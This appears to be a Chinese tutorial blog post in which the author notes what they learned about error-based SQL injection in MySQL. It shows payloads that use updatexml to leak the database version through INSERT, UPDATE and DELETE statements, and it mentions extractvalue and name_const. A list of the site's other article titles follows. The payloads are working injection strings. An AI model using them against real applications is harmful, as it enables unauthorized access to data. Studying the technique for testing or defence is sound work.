PS:刚开始看到这个注入方式的时候,问米哥:“为啥updatexml就足以报错了,为啥还要使用insert?”知道答案的我觉得问了一个傻蛋的问题。不过没关系。慢慢积累。答案很简单,并不是所有的注入点程序里面执行的都是select语句,也可以是别的。比如insert、update、以及delete。

注入语法

insert into users (id, username, password) values (1,''inject here'','DEF');
insert into users (id, username, password) values (1,""inject here"",'DEF');

注意有个是单引号,有个是双引号。可根据实际场景灵活运用!

  updatexml of payload:and updatexml(1,concat(0x7e,(select @@version),0x7e),1)

insert:

insert into users(id,username,password) values(1,updatexml(null,concat(0x7e,(select @@version),0x7e),null),'DEF');

update:

update users set password='DEF' or updatexml(1,concat(0x7e,(select @@version),0x7e),2);

delect:

DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0);

当然了除了updatexml这个函数还有extractvalue函数。以及我还没有学到的“name_const()”


THE END

最新文章

  1. hbase1.2.4 伪分布式安装
  2. jquery ui 中的插件开发
  3. LaTeX常用数学符号
  4. OpenJudge解题经验交流
  5. 直面Javascript面试题算法思路
  6. 【风马一族_Java】 Java的文件类 java.io
  7. ts 使用Visual Studio2012和TFS网站管理源代码
  8. mysql优化概析
  9. 调查问卷Html5发展综述
  10. xgboost使用调参
  11. learn
  12. 乘法原理,加法原理,多重集的排列数(多个系列操作穿插的排列数) 进阶指南 洛谷p4778
  13. 分布式作业 Elastic-Job 快速上手指南,从理论到实战一文搞定!
  14. 理解C语言递归up_and_down
  15. 神州数码RIP协议认证
  16. hive sql 效率提升
  17. wordpress获取文章所属分类
  18. Git 修复 bug 切换分支时,如何保存修改过的代码(即如何保存现场)?
  19. Git 使用篇二:搭建远程服务器
  20. windows:nginx配置http、https反向代理

热门文章

  1. Glide Picasso Fresco UIL 图片框架 MD
  2. Thinkphp学习笔记-模板主题
  3. OpenStack 部署总结之:单节点icehouse网桥的配置
  4. EJS快速入门
  5. UESTC-1307-windy数
  6. [Done]FindBugs: boxing/unboxing to parse a primitive
  7. cocopods卸载、安装、重装等问题解决(转)
  8. C#指南,重温基础,展望远方!(13)C#泛型
  9. QQ窗体的控制,同步异步打开360网盘,控制360网盘窗体的移动
  10. unity, do nothing的state